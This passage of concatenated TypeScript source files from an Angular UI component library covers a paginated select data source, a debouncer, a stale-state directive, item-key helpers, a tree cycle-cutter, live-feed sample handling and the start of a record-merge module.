the \"Load more\" if that was it, else the search. */\n  reload(): void;\n  /** Abandon anything in flight, keeping what is on screen. */\n  cancel(): void;\n}\n\n/** The first page, kept as one object so its rows and its `hasMore` can never disagree. */\ninterface FirstPage<T> {\n  readonly items: readonly T[];\n  readonly hasMore: boolean;\n}\n\n/**\n * The adapter layer of the select split (`FI-23-M1`): where a select's options\n * come from.\n *\n * ```ts\n * readonly people = svSelectSource<SelectOption>({\n *   search: (term, signal, { offset, limit }) => api.people(term, offset, limit, signal),\n *   pageSize: 50,\n *   minChars: 2,\n * });\n * ```\n * ```html\n * <sv-select-dropdown [source]=\"people\" [selectedOption]=\"current()\" />\n * ```\n *\n * One object replaces twelve members of the select's API — `serverSide`,\n * `debounceMs`, `minChars`, `loadOptions`, `hasMore`, `loadingMore`,\n * `loading`, `stale`, `error`, `searchChange`, `retry` and `loadMore` —\n * because they are one conversation with one server.\n *\n * ★★ NOT A SECOND ASYNC ENGINE. The first page is {@link svSuggestController}\n *    — the guard, the abort, the stale/loading split, the pending task — and\n *    \"Load more\" is one more {@link createRequestGuard}. What this adds is only\n *    the paging: appending a page to the term that asked for it, and never to a\n *    newer term's rows.\n *\n * ★★★ A PAGE BELONGS TO THE FIRST PAGE IT EXTENDS. Appended rows are stored\n *     against the identity of the first-page object they followed, so the\n *     moment a new term's first page lands the old term's extra pages are no\n *     longer read — there is no reset to forget and no window where page two of\n *     \"ada\" sits under page one of \"bob\".\n *\n * Needs an injection context (a field initializer is one), or pass\n * `destroyRef` and `pendingTasks`.\n */\nexport function svSelectSource<T>(options: SvSelectSourceOptions<T>): SvSelectSource<T> {\n  const destroyRef = options.destroyRef ?? inject(DestroyRef);\n  const pendingTasks = options.pendingTasks ?? inject(PendingTasks);\n  const pageSize = Number.isFinite(options.pageSize) && (options.pageSize ?? 0) > 0\n    ? Math.floor(options.pageSize as number)\n    : 0;\n\n  const normalize = (answer: readonly T[] | SvSelectSourcePage<T>): FirstPage<T> => {\n    const items = isPage(answer) ? answer.items : answer;\n    const declared = isPage(answer) ? answer.hasMore : undefined;\n    return { items, hasMore: declared ?? (pageSize > 0 && items.length >= pageSize) };\n  };\n\n  // The first page: the existing engine, unchanged. `debounceMs: 0` and\n  // `minChars: 0` because the consuming select applies both — see the options.\n  const first = svSuggestController<FirstPage<T>>(\n    (term, signal) =>\n      options.search(term, signal, { offset: 0, limit: pageSize }).then((a) => [normalize(a)]),\n    { debounceMs: 0, minChars: 0, destroyRef, pendingTasks },\n  );\n\n  const firstPage = computed<FirstPage<T> | null>(() => first.options()[0] ?? null);\n\n  /** Pages appended after `base`. Ignored once `base` is no longer the first page. */\n  const more = signal<{ readonly base: FirstPage<T> | null; readonly items: readonly T[]; readonly hasMore: boolean }>(\n    { base: null, items: [], hasMore: false },\n  );\n  const moreError = signal<SvDataError | null>(null);\n  const moreGuard = createRequestGuard();\n  destroyRef.onDestroy(() => moreGuard.cancel());\n\n  const extension = computed(() => {\n    const page = firstPage();\n    const extra = more();\n    return page !== null && extra.base === page ? extra : null;\n  });\n\n  const rows = computed<readonly T[]>(() => {\n    const page = firstPage();\n    if (!page) return [];\n    const extra = extension();\n    return extra ? [...page.items, ...extra.items] : page.items;\n  });\n\n  const hasMore = computed(() => {\n    const page = firstPage();\n    if (!page) return false;\n    return extension()?.hasMore ?? page.hasMore;\n  });\n\n  const loadMore = (): void => {\n    const base = untracked(firstPage);\n    if (!base || !untracked(hasMore) || untracked(moreGuard.pending) || untracked(first.loading)) return;\n    const term = untracked(first.term);\n    const offset = untracked(rows).length;\n    const req = moreGuard.start();\n    moreError.set(null);\n    const done = pendingTasks.add();\n    options\n      .search(term, req.signal, { offset, limit: pageSize })\n      .then((answer) => {\n        if (!req.settle() || untracked(firstPage) !== base) return;\n        const page = normalize(answer);\n        const prior = untracked(extension);\n        more.set({ base, items: [...(prior?.items ?? []), ...page.items], hasMore: page.hasMore });\n      })\n      .catch((cause: unknown) => {\n        if (req.signal.aborted) return;\n        if (req.settle()) moreError.set(toSvDataError(cause));\n      })\n      .finally(done);\n  };\n\n  const search = (term: string): void => {\n    moreGuard.cancel();\n    moreError.set(null);\n    first.search(term);\n  };\n\n  return {\n    options: rows,\n    loading: first.loading,\n    stale: first.stale,\n    error: computed(() => moreError() ?? first.error()),\n    hasMore,\n    loadingMore: moreGuard.pending,\n    term: first.term,\n    minChars: options.minChars,\n    debounceMs: options.debounceMs,\n    search,\n    // `emptyReason() === 'no-data'` is the never-fetched case, which `term()`\n    // alone cannot tell apart from a settled empty term.\n    open: (term: string) => {\n      if (untracked(first.term) !== term || untracked(first.emptyReason) === 'no-data') search(term);\n    },\n    loadMore,\n    reload: () => {\n      if (untracked(moreError)) {\n        loadMore();\n        return;\n      }\n      moreGuard.cancel();\n      first.reload();\n    },\n    cancel: () => {\n      moreGuard.cancel();\n      first.cancel();\n    },\n  };\n}\n\nfunction isPage<T>(answer: readonly T[] | SvSelectSourcePage<T>): answer is SvSelectSourcePage<T> {\n  return !Array.isArray(answer);\n}\n","import { InjectionToken, type Signal } from '@angular/core';\n\n/**\n * `FI-23-M1` — the contract between a select and the feature children that\n * configure it.\n *\n * ★★★ WHY A TOKEN AND NOT THE DIRECTIVE CLASSES. The point of the split\n *     (`docs/select-dropdown-split-adr.md`) is that the component depends on\n *     this interface and on no feature. A select that imported\n *     `SvSelectVirtualDirective` to read its inputs would be the same coupling\n *     the 38-input API already has, moved one file over.\n *\n * ★★ WHY IN CORE AND NOT IN EACH PACKAGE. The free and Pro selects are twins,\n *    and the Pro package peer-depends on the free one — so a host can easily\n *    end up with `svSelectSearch` from one tier inside the other tier's\n *    component. With one token per package that combination would compile and\n *    silently do nothing. With one shared token it works, and a feature the\n *    receiving tier does not implement (virtualization in free) is ignored,\n *    which is the no-op the ADR asks for.\n */\n\n/**\n * Everything a feature child may configure. Every member is optional, and an\n * `undefined` member means \"not set here\" — the component falls through to its\n * own legacy input of the same name, so a feature child only overrides what it\n * actually binds.\n */\nexport interface SvSelectFeatureConfig {\n  // ── Search (`svSelectSearch`) ──────────────────────────────────────────────\n  readonly searchable?: boolean;\n  readonly searchPlaceholder?: string;\n  readonly noResultsText?: string;\n  readonly loadingText?: string;\n  readonly minChars?: number;\n  readonly debounceMs?: number;\n  readonly serverSide?: boolean;\n  // ── Virtualization (`svSelectVirtual`) ─────────────────────────────────────\n  readonly virtualThreshold?: number;\n  readonly optionHeight?: number;\n  readonly virtualViewportHeight?: number;\n  // ── Bulk selection (`svSelectBulk`) ────────────────────────────────────────\n  readonly showSelectAll?: boolean;\n  readonly selectAllLabel?: string;\n}\n\n/** A feature child, as the select sees it. */\nexport interface SvSelectFeature {\n  /** What this feature contributes. Read reactively. */\n  readonly config: Signal<SvSelectFeatureConfig>;\n  /** Called with each settled search term the select emits as `searchChange`. */\n  searchChanged?(term: string): void;\n}\n\n/**\n * Provided by every feature child (`useExisting`), queried by the select with\n * `contentChildren(SV_SELECT_FEATURE, { descendants: true })`.\n */\nexport const SV_SELECT_FEATURE = new InjectionToken<SvSelectFeature>('SV_SELECT_FEATURE');\n\n/**\n * Merge the registered features into one config. Later children win for a key\n * they both set; an `undefined` member never overwrites a defined one.\n */\nexport function svMergeSelectFeatures(\n  features: readonly SvSelectFeature[],\n): SvSelectFeatureConfig {\n  if (features.length === 0) return {};\n  const merged: Record<string, unknown> = {};\n  for (const feature of features) {\n    for (const [key, value] of Object.entries(feature.config())) {\n      if (value !== undefined) merged[key] = value;\n    }\n  }\n  return merged as SvSelectFeatureConfig;\n}\n","import { Directive, booleanAttribute, input } from '@angular/core';\n\n/**\n * Marks a list, panel or region as **answered but out of date**: a newer\n * request is in flight, and what is on screen answers the previous one.\n *\n * ── Why this is a directive and not seven copies of two classes ──────────────\n * Six picker families in the kit independently need the same treatment, and\n * every hand-rolled version of it differs — one dims, one spins, one blanks,\n * one does nothing at all and simply lies. Worse, most of them reach for\n * `loading`, which cannot express this: `loading` is true both while the FIRST\n * results are being fetched (nothing on screen — show a skeleton) and while a\n * refinement of them is being fetched (results on screen — keep them, mark\n * them). Blanking the panel on the second is the most jarring thing a combobox\n * can do; showing the old list with no indication that it answers an older\n * query is a quiet lie. `stale` is the third state, and this is its treatment.\n *\n * ── What it does ────────────────────────────────────────────────────────────\n * - `aria-busy=\"true\"` — the ARIA-correct statement that this region is being\n *   updated, so a screen reader does not announce a changing list mid-change.\n * - `data-sv-state=\"stale\"` — the same machine-readable hook the async shells\n *   publish, so a spec (and `check:ui`) can assert the state without selectors.\n * - Dims to 60% opacity, with a transition so it fades rather than flickers.\n *\n * It deliberately does **not** disable pointer events. The whole point of\n * keeping the previous results is that they stay usable: an option the user was\n * already reaching for is still the option they want.\n *\n * ```html\n * @if (error()) {\n *   <sv-error-shell [error]=\"error()\" (retry)=\"retry.emit()\" />\n * } @else if (options().length > 0) {\n *   <ul role=\"listbox\" [svStale]=\"stale()\"> … </ul>\n * } @else if (loading()) {\n *   <sv-skeleton-shell />\n * }\n * ```\n *\n * Pair it with `createRequestGuard().stale` from this package, or\n * `svSuggestController(...).stale` from `@styloviz/data`, which computes it.\n *\n * ⚠️ Do not put it on an element that already sets `data-sv-state` — the two\n * bindings would fight, and the state that element is in is not this one.\n */\n@Directive({\n  selector: '[svStale]',\n  host: {\n    '[attr.aria-busy]': \"svStale() ? 'true' : null\",\n    '[attr.data-sv-state]': \"svStale() ? 'stale' : null\",\n    '[class.opacity-60]': 'svStale()',\n    '[class.transition-opacity]': 'true',\n  },\n})\nexport class SvStaleDirective {\n  /**\n   * True while a newer request is in flight and the content here answers an\n   * older one. Accepts a bare attribute (`svStale`) as `true`.\n   */\n  readonly svStale = input(false, { transform: booleanAttribute });\n}\n","import { computed, signal, type DestroyRef, type Signal } from '@angular/core';\n\n/** Options for {@link createDebouncer}. */\nexport interface SvDebouncerOptions {\n  /**\n   * Delay before the value settles. Accepts a signal so a component can expose\n   * `debounceMs` as an input and have changes take effect immediately.\n   * A delay of `0` or less applies synchronously — no timer is scheduled.\n   * @default 300\n   */\n  readonly delayMs?: number | Signal<number>;\n  /**\n   * Destroy hook. Pass `inject(DestroyRef)` from a field initializer and the\n   * pending timer is cleared automatically; omit it and you must call\n   * `destroy()` yourself. A stray timer firing after teardown writes to a\n   * destroyed component — the kind of leak that only shows up under a router\n   * that reuses the route.\n   */\n  readonly destroyRef?: DestroyRef | null;\n}\n\n/** A value that trails its input by a delay. */\nexport interface SvDebouncer<T> {\n  /** The settled value. This is what you fire requests from. */\n  readonly value: Signal<T>;\n  /** The latest value, un-delayed. This is what you bind to the input box. */\n  readonly raw: Signal<T>;\n  /** True between a `set()` and the value settling. */\n  readonly pending: Signal<boolean>;\n  /** Record a new value and (re)start the delay. */\n  set(next: T): void;\n  /** Settle immediately — for Enter, or blur, where waiting is wrong. */\n  flush(): void;\n  /** Drop the pending value; `value` keeps its last settled contents. */\n  cancel(): void;\n  /** Clear the timer. Called for you when `destroyRef` was supplied. */\n  destroy(): void;\n}\n\nconst DEFAULT_DELAY_MS = 300;\n\n/**\n * Debounce a value into a signal, with no rxjs and no injection context.\n *\n * ```ts\n * protected readonly search = createDebouncer('', {\n *   delayMs: this.debounceMs,\n *   destroyRef: inject(DestroyRef),\n * });\n *\n * constructor() {\n *   effect(() => this.queryChange.emit(patchQuery(this.query(), {\n *     search: this.search.value(),\n *   })));\n * }\n * ```\n *\n * Pair it with {@link createRequestGuard}: debouncing cuts the number of\n * requests, the guard makes the ones that do overlap land in the right order.\n * Neither replaces the other.\n */\nexport function createDebouncer<T>(initial: T, options: SvDebouncerOptions = {}): SvDebouncer<T> {\n  const delay = options.delayMs ?? DEFAULT_DELAY_MS;\n  const delayOf = (): number => {\n    const ms = typeof delay === 'number' ? delay : delay();\n    return Number.isFinite(ms) && ms > 0 ? ms : 0;\n  };\n\n  const settled = signal(initial);\n  const raw = signal(initial);\n  let timer: ReturnType<typeof setTimeout> | null = null;\n\n  const clear = (): void => {\n    if (timer !== null) {\n      clearTimeout(timer);\n      timer = null;\n    }\n  };\n\n  const api: SvDebouncer<T> = {\n    value: settled.asReadonly(),\n    raw: raw.asReadonly(),\n    // Derived rather than a third signal: one source of truth, and it cannot\n    // drift out of sync with the timer.\n    pending: computed(() => !Object.is(raw(), settled())),\n\n    set: (next: T) => {\n      raw.set(next);\n      clear();\n      const ms = delayOf();\n      if (ms === 0) {\n        settled.set(next);\n        return;\n      }\n      timer = setTimeout(() => {\n        timer = null;\n        settled.set(next);\n      }, ms);\n    },\n\n    flush: () => {\n      clear();\n      settled.set(raw());\n    },\n\n    cancel: () => {\n      clear();\n      raw.set(settled());\n    },\n\n    destroy: clear,\n  };\n\n  options.destroyRef?.onDestroy(clear);\n\n  return api;\n}\n","import type { SvItemKey } from './types';\n\ndeclare const ngDevMode: boolean | undefined;\n\n/**\n * ============================================================================\n *  The identity contract every collection family answers (audit item X-6)\n * ============================================================================\n *\n * Two questions, one answer per family, so a buyer who has learned the List\n * View already knows the Tree, the Kanban, the Transfer and the Data Table:\n *\n *  1. **What is this item's key?** An `itemKey` input typed {@link SvItemKey},\n *     defaulting to the property the family already assumed (`'id'` almost\n *     everywhere, `'key'` for the Transfer). A string names a property; a\n *     function builds a composite key, which is the case that used to be\n *     impossible — six families hardcoded `item.id` and the seventh took a\n *     `string`, so a row identified by `orderId + lineNo` had no way in.\n *\n *  2. **Who owns this item's state?** Anything the host might want to restore,\n *     persist, or drive — which selection, expansion and collapse all are — is\n *     a `model()`, so it can be both set and observed. Held in a plain\n *     `signal`, that state is invisible: a table's expanded rows could not be\n *     restored after a route change because the host had no way to write them\n *     and no way to learn they had changed.\n *\n * Both halves are enforced by `scripts/check-collection-identity.mjs` rather\n * than by review, because the drift they prevent is exactly the kind that\n * reappears one family at a time.\n * ============================================================================\n */\n\n/** One warning per property name, so a 500-row list logs once, not 500 times. */\nconst warned = new Set<string>();\n\nfunction warnOnce(key: string): void {\n  if (typeof ngDevMode === 'undefined' || !ngDevMode) return;\n  if (warned.has(key)) return;\n  warned.add(key);\n  console.warn(\n    `[styloviz] itemKey \"${key}\" is missing or not a string/number on at least one item — ` +\n      'falling back to the list index. Server refreshes will reuse DOM by position: ' +\n      'focus can jump, and the wrong row can appear selected. Pass an itemKey that exists ' +\n      'on every item, or a function for composite keys.',\n  );\n}\n\n/**\n * Resolve an item's stable identity, falling back to its index.\n *\n * The fallback keeps a misconfigured component rendering rather than throwing,\n * but it is a real defect — hence the dev-mode warning. It is silent in\n * production builds.\n */\nexport function resolveItemKey<T>(\n  item: T,\n  key: SvItemKey<T> | null | undefined,\n  index: number,\n): string | number {\n  if (typeof key === 'function') return key(item, index);\n\n  if (typeof key === 'string' && key) {\n    const value = (item as Record<string, unknown> | null)?.[key];\n    if (typeof value === 'string' || typeof value === 'number') return value;\n    warnOnce(key);\n  }\n\n  return index;\n}\n\n/**\n * Build a `track` function for `@for` from a fixed key.\n *\n * The argument order matches Angular's `track` expression and the kit's\n * existing `trackByRow($index, row)` usage:\n *\n * ```ts\n * protected readonly trackItem = trackByItemKey<Order>('id');\n * ```\n * ```html\n * @for (item of items(); track trackItem($index, item)) { … }\n * ```\n *\n * When the key comes from a signal input, call {@link resolveItemKey} directly\n * instead — a `SvItemKey` may itself be a function, so a helper cannot tell a\n * key-function from a signal accessor without guessing:\n *\n * ```ts\n * protected readonly trackItem = (i: number, item: Order): string | number =>\n *   resolveItemKey(item, this.itemKey(), i);\n * ```\n */\nexport function trackByItemKey<T>(\n  key: SvItemKey<T> | null | undefined,\n): (index: number, item: T) => string | number {\n  return (index, item) => resolveItemKey(item, key, index);\n}\n\n/**\n * Warn, in dev builds only, when two items resolve to the same key.\n *\n * Angular's own diagnostic for this is NG0955, which it raises from inside\n * `@for` after the duplicate has already destroyed the view: the collection\n * disappears and the message names neither the input that supplied it nor the\n * key that collided. The Kanban hit the same wall from the other side — two\n * cards confirmed inside one millisecond shared a `Date.now()` id — and the\n * only reason it was diagnosable was that someone happened to be looking.\n *\n * So the check runs first, where the component still knows which input the rows\n * arrived on and what the offending key was, and it does not throw: a warning\n * plus a rendered list beats a correct complaint about a blank screen.\n *\n * Call it from wherever the family already derives its rendered rows:\n *\n * ```ts\n * protected readonly rows = computed(() => {\n *   const rows = this.filtered();\n *   warnOnDuplicateItemKeys(rows, this.itemKey(), 'sv-data-table [rows]');\n *   return rows;\n * });\n * ```\n *\n * @param context Which component and input to name in the message — the reader\n *   is holding a page of several collections and needs to know which one.\n */\nexport function warnOnDuplicateItemKeys<T>(\n  items: readonly T[] | null | undefined,\n  key: SvItemKey<T> | null | undefined,\n  context: string,\n): void {\n  if (typeof ngDevMode === 'undefined' || !ngDevMode) return;\n  if (!items || items.length < 2) return;\n  if (warned.has(`dup:${context}`)) return;\n\n  const seen = new Set<string | number>();\n  for (let i = 0; i < items.length; i++) {\n    const id = resolveItemKey(items[i], key, i);\n    if (seen.has(id)) {\n      warned.add(`dup:${context}`);\n      console.warn(\n        `[styloviz] ${context}: two items share the key ${JSON.stringify(id)}. ` +\n          'Angular rejects a duplicate track key (NG0955) and destroys the view, so the ' +\n          'collection renders blank. Give every item a unique key, or pass an itemKey ' +\n          'function that combines fields into one.',\n      );\n      return;\n    }\n    seen.add(id);\n  }\n}\n","declare const ngDevMode: boolean | undefined;\n\n/**\n * ============================================================================\n *  A hierarchy that cannot be walked (audit items DD-45-I4, DD-45-M3)\n * ============================================================================\n *\n * Every tree component in the kit walks `children` recursively — to flatten the\n * visible rows, to seed expansion, to roll a checkbox up to its ancestors, to\n * find a node before moving it. All of that is correct for a tree and none of it\n * terminates on a graph.\n *\n * A cycle is not an exotic input. It is what a host produces the ordinary way:\n * rows arrive flat with a `parentId`, the host builds `children` by looking each\n * parent up in a map, and one row's `parentId` points at its own descendant —\n * because someone dragged a folder into itself in another client, or a migration\n * reparented a row, or the id is a slug two rows share. The tree then recurses\n * until the stack ends and the whole tab dies. There is no error boundary in\n * front of that and nothing in the type system that could have said so.\n *\n * So the tree does not walk what it was given. It walks the result of this\n * function: the same tree with every back-edge cut, plus the list of nodes whose\n * children were dropped. Rendering a truncated branch and saying so is strictly\n * better than rendering nothing and taking the page with it.\n * ============================================================================\n */\n\n/** The shape this walks: an identified node with optional nested children. */\nexport interface SvHierarchyNode {\n  readonly id: string;\n  children?: SvHierarchyNode[];\n}\n\n/**\n * How to read a node that is not shaped like {@link SvHierarchyNode}.\n *\n * The treemap is the second consumer of this walk and its nodes carry a `label`\n * rather than an `id`, with a `readonly` child array. Rather than a second\n * cycle-cutter that could disagree with this one about what a cycle is, the walk\n * takes accessors and there stays exactly one answer.\n */\nexport interface SvHierarchyAccessors<T> {\n  /** Names the node in the cycle report and in the dev warning. */\n  readonly label: (node: T) => string;\n  /** The node's children, if it has any. */\n  readonly children: (node: T) => readonly T[] | undefined;\n  /** Rebuilds a node around a new child list. Only called on a branch that was cut. */\n  readonly withChildren: (node: T, children: readonly T[]) => T;\n}\n\nconst DEFAULT_ACCESSORS: SvHierarchyAccessors<SvHierarchyNode> = {\n  label: node => node.id,\n  children: node => node.children,\n  withChildren: (node, children) => ({ ...node, children: [...children] }),\n};\n\n/** One node that was its own ancestor. */\nexport interface SvHierarchyCycle {\n  /** The repeated node's id. */\n  readonly id: string;\n  /** Ids from the root down to the repeat, so the loop can be found in the data. */\n  readonly path: readonly string[];\n}\n\n/** A tree that is safe to recurse into, and what had to be cut to make it one. */\nexport interface SvAcyclicHierarchy<T> {\n  /**\n   * The tree with each back-edge removed. The very same arrays and objects when\n   * there was no cycle, so the common case allocates nothing and a host's\n   * `[nodes]` identity survives for change detection.\n   */\n  readonly nodes: readonly T[];\n  /** Empty when the input was already a tree. */\n  readonly cycles: readonly SvHierarchyCycle[];\n}\n\n/** One warning per selector, so a 5,000-node tree logs once rather than per row. */\nconst warned = new Set<string>();\n\n/**\n * The tree with every cycle cut, and the cuts that were made.\n *\n * Detection is by node **identity**, not by id: a repeated object reference is\n * what makes the recursion infinite, and it is the only thing that does. Two\n * distinct objects sharing an id nest finitely — that is a duplicate-key defect,\n * which {@link warnOnDuplicateItemKeys} already reports, and cutting it here\n * would silently drop a branch a host meant to render twice.\n *\n * A cut node keeps its place and its label and loses only its children, which is\n * the honest rendering: the loop means its subtree is not a subtree.\n *\n * @param nodes    Root nodes, as supplied by the host.\n * @param selector Component selector, used to name the source in the warning.\n */\nexport function svCutHierarchyCycles<T extends SvHierarchyNode>(\n  nodes: readonly T[],\n  selector: string,\n): SvAcyclicHierarchy<T>;\nexport function svCutHierarchyCycles<T>(\n  nodes: readonly T[],\n  selector: string,\n  accessors: SvHierarchyAccessors<T>,\n): SvAcyclicHierarchy<T>;\nexport function svCutHierarchyCycles<T>(\n  nodes: readonly T[],\n  selector: string,\n  accessors?: SvHierarchyAccessors<T>,\n): SvAcyclicHierarchy<T> {\n  const read = (accessors ??\n    (DEFAULT_ACCESSORS as unknown as SvHierarchyAccessors<T>));\n  const cycles: SvHierarchyCycle[] = [];\n  const onPath = new Set<T>();\n  const labels: string[] = [];\n\n  /** Returns the rebuilt level, or `null` when nothing at or below it changed. */\n  const walk = (level: readonly T[]): T[] | null => {\n    let changed = false;\n    const out: T[] = [];\n\n    for (const node of level) {\n      if (onPath.has(node)) {\n        cycles.push({ id: read.label(node), path: [...labels] });\n        // Drop the repeat entirely rather than keeping it childless: it is the\n        // SAME node already on screen higher up, and a second copy of a row the\n        // user is looking at reads as two things that exist.\n        changed = true;\n        continue;\n      }\n\n      const children = read.children(node);\n      if (!children?.length) {\n        out.push(node);\n        continue;\n      }\n\n      onPath.add(node);\n      labels.push(read.label(node));\n      const next = walk(children);\n      labels.pop();\n      onPath.delete(node);\n\n      if (next === null) {\n        out.push(node);\n      } else {\n        out.push(read.withChildren(node, next));\n        changed = true;\n      }\n    }\n\n    return changed ? out : null;\n  };\n\n  const safe = walk(nodes) ?? nodes;\n\n  if (cycles.length && typeof ngDevMode !== 'undefined' && ngDevMode && !warned.has(selector)) {\n    warned.add(selector);\n    const first = cycles[0];\n    console.warn(\n      `[styloviz] ${selector}: [nodes] contains ${cycles.length} cycle(s) — ` +\n        `\"${first.id}\" is its own descendant, reached via ${first.path.join(' → ')}. ` +\n        'Those branches are cut so the tree can be rendered; walking them would ' +\n        'recurse until the stack ends. This is almost always a parentId that points ' +\n        'at a descendant, or two rows sharing an id.',\n    );\n  }\n\n  return { nodes: safe, cycles };\n}\n","/**\n * live-feed.ts — the questions every streaming chart has to answer, answered once.\n *\n * ★★★ SIX VARIANTS ANSWERED THESE SIX DIFFERENT WAYS, WHICH MEANS FIVE OF THEM\n *     WERE WRONG ABOUT SOMETHING. A chart that updates on a timer has to decide\n *     what happens when the tab is hidden, how much history it keeps, what it\n *     does with a sample that arrives out of order or twice, and what it tells\n *     the reader about any of it. None of those are chart-specific questions and\n *     none of them were being asked consistently.\n *\n * ★ The visibility half lives in `visibility-pause.ts` because it needs an\n *   injection context and a `document`. Everything here is arithmetic on an\n *   array, which is what lets it be tested with no DOM and no Angular at all.\n */\n\n/** How a feed treats a sample that is not newer than the one before it. */\nexport type SvLateSamplePolicy = 'append' | 'drop' | 'reorder';\n\n/** Options for {@link svAppendSample}. */\nexport interface SvAppendSampleOptions<T = unknown> {\n  /**\n   * How many samples to keep. Older ones fall off the front.\n   * @default 0 — unbounded\n   */\n  readonly retain?: number;\n  /**\n   * What to do with a sample whose timestamp is not after the last one.\n   *\n   * - `append` (default) — keep it in arrival order. Right for a feed with no\n   *   meaningful timestamps, where position IS the order.\n   * - `drop` — refuse it. Right when a repeat is a retransmission.\n   * - `reorder` — insert it where its timestamp belongs. Right when the\n   *   transport can genuinely deliver out of order.\n   * @default 'append'\n   */\n  readonly late?: SvLateSamplePolicy;\n  /** Reads a sample's timestamp. Required for `drop` and `reorder`. */\n  readonly timestamp?: (sample: T) => number;\n}\n\n/** The new history, and what had to be done to get it. */\nexport interface SvAppendResult<T> {\n  readonly samples: readonly T[];\n  /** True when the incoming sample was refused. */\n  readonly dropped: boolean;\n  /** True when it had to be inserted before the end. */\n  readonly reordered: boolean;\n  /** How many old samples fell off the front to stay within `retain`. */\n  readonly evicted: number;\n}\n\n/**\n * Append one sample to a bounded history, applying the late-sample policy.\n *\n * ★ Returns a NEW array only when something changed, so an unchanged history\n *   keeps its identity for change detection.\n *\n * ★ `retain` counts the result, not the input: a feed asked to keep 60 points\n *   holds 60 after the append, not 61. Off-by-one here is a chart that slowly\n *   grows past the window its own axis is drawn for.\n */\nexport function svAppendSample<T>(\n  history: readonly T[],\n  sample: T,\n  options: SvAppendSampleOptions<T> = {},\n): SvAppendResult<T> {\n  const retain = options.retain ?? 0;\n  const late = options.late ?? 'append';\n  const stamp = options.timestamp;\n\n  let reordered = false;\n  let next: T[];\n\n  if (late !== 'append' && stamp && history.length > 0) {\n    const incoming = stamp(sample);\n    const last = stamp(history[history.length - 1]!);\n\n    if (Number.isFinite(incoming) && Number.isFinite(last) && incoming <= last) {\n      if (late === 'drop') {\n        return { samples: history, dropped: true, reordered: false, evicted: 0 };\n      }\n      // `reorder`: find the first sample it should precede.\n      const at = history.findIndex(s => {\n        const t = stamp(s);\n        return Number.isFinite(t) && t > incoming;\n      });\n      const index = at === -1 ? history.length : at;\n      next = [...history.slice(0, index), sample, ...history.slice(index)];\n      reordered = index < history.length;\n    } else {\n      next = [...history, sample];\n    }\n  } else {\n    next = [...history, sample];\n  }\n\n  let evicted = 0;\n  if (retain > 0 && next.length > retain) {\n    evicted = next.length - retain;\n    next = next.slice(evicted);\n  }\n\n  return { samples: next, dropped: false, reordered, evicted };\n}\n\n/**\n * The sentence a feed owes its reader after a pause, or `null` when the gap is\n * too short to matter.\n *\n * ★★ A RESUMED FEED THAT SAYS NOTHING DRAWS A CONTINUOUS LINE ACROSS A GAP\n *    WHERE NOTHING WAS SAMPLED. That is the same lie as interpolating a missing\n *    reading, and worse, because the reader has no reason to suspect it: the\n *    chart looks exactly like one that ran the whole time.\n *\n * The floor exists because a tab switch of half a second is not a gap in the\n * data — it is a person alt-tabbing — and a chart that announced every one of\n * those would train its reader to ignore the line that matters.\n */\nexport function svPauseNotice(pausedMs: number, floorMs = 2000): string | null {\n  if (!Number.isFinite(pausedMs) || pausedMs < floorMs) return null;\n\n  const seconds = Math.round(pausedMs / 1000);\n  const spell =\n    seconds < 60\n      ? `${seconds} second${seconds === 1 ? '' : 's'}`\n      : `${Math.round(seconds / 60)} minute${Math.round(seconds / 60) === 1 ? '' : 's'}`;\n\n  return (\n    `Updates stopped for ${spell} while this tab was in the background, so ` +\n    'nothing was sampled over that stretch. The line resumes rather than ' +\n    'filling it in.'\n  );\n}\n","/**\n * record-merge.ts — identity, version and order for a list that arrives in\n * pieces (`X-12`, `OF-10-M1`, `OF-10-M5`).\n *\n * ★★★ EVERY REALTIME LIST IN A DASHBOARD HAS THE SAME FOUR QUESTIONS, AND\n *     WRITING THEM PER FEATURE MEANS WRITING THEM WRONG SOMEWHERE: which\n *     record is this one (identity), is what just arrived NEWER than what I\n *     have (version), are these two rows the same event (deduplication), and\n *     what order do they go in (sequence). A notification centre asks all\n *     four; so does an activity feed, an audit log and an inbox.\n *\n * ★★ PURE ARITHMETIC ON ARRAYS — no Angular, no DOM, no signals. That is what\n *    lets it be tested exhaustively (`.node.spec.ts`) and used from a host's\n *    own store, which is where a realtime list actually lives. The components\n *    take `[items]` as an INPUT: merging is the host's job, and this is the\n *    thing the host would otherwise have to get right alone.\n */\n\n/** The shape a mergeable record has to have. Everything but `id` is optional. */\nexport interface SvMergeableRecord {\n  /** Stable server identity. Two records with the same `id` are one record. */\n  readonly id: string;\n  /**\n   * Monotonic per-record revision. A lower one is stale and is rejected.\n   *\n   * ★ WITHOUT THIS A STALE UPDATE CANNOT BE DETECTED AT ALL, which is the\n   *   finding: an out-of-order delivery — two sockets, a retry, a replay after\n   *   a reconnect — overwrote a newer row with an older copy of itself, and\n   *   the row silently went backwards in time.\n   */\n  readonly version?: number;\n  /**\n   * Monotonic position in the STREAM, not in this record's history.\n   *\n   * ★★ A DIFFERENT AXIS FROM `version`, and both are needed. `version` orders\n   *    a record against its own past; `seq` orders records against each other\n   *    when timestamps tie or the clocks disagree — which they do, because\n   *    `timestamp` is a string somebody's server rendered.\n   */\n  readonly seq?: number;\n  /** ISO timestamp. The ordering fallback when the stream has no `seq`. */\n  readonly timestamp?: string;\n  /**\n   * Two records with the same key are the same EVENT and collapse into one.\n   *\n   * ★ Different from `id`, which is the same RECORD. Three comments on one\n   *   ticket are three records and, for a notification list, one event.\n   */\n  readonly dedupeKey?: string;\n  /** Pinned records sort before everything else, whatever the order rule. */\n  readonly pinned?: boolean;\n}\n\n/** What {@link svMergeRecords} did, for a host that wants to react to it. */\nexport interface SvMergeReport<T> {\n  /** The merged list, ordered by {@link svOrderRecords}. */\n  readonly items: readonly T[];\n  /** Records that were not present before. */\n  readonly added: readonly T[];\n  /** Records that replaced an existing one. */\n  readonly updated: readonly T[];\n  /**\n   * Records refused as STALE — an equal or lower `version` than the copy held.\n   *\n   * ★ Reported rather than swallowed. A stream that keeps delivering stale\n   *   revisions is a bug in something, and the only party that can see the\n   *   pattern is the host.\n   */\n  readonly rejected: readonly T[];\n  /**\n   * Records dropped because another record shares their `dedupeKey`.\n   *\n   * ★ No count is written onto the survivor. A collapsed group's headline is\n   *   copy — \"3 new comments on TICKET-14\" — and copy is the host's, not a\n   *   number this function can invent a wording for. The dropped records are\n   *   handed back so the host can write it.\n   */\n  readonly collapsed: readonly T[];\n}\n\n/** Options for {@link svMergeRecords}. */\nexport interface SvMergeOptions {\n  /**\n   * Collapse records that share a `dedupeKey`. @default true\n   *\n   * ★ On by default, because a `dedupeKey` is only ever set 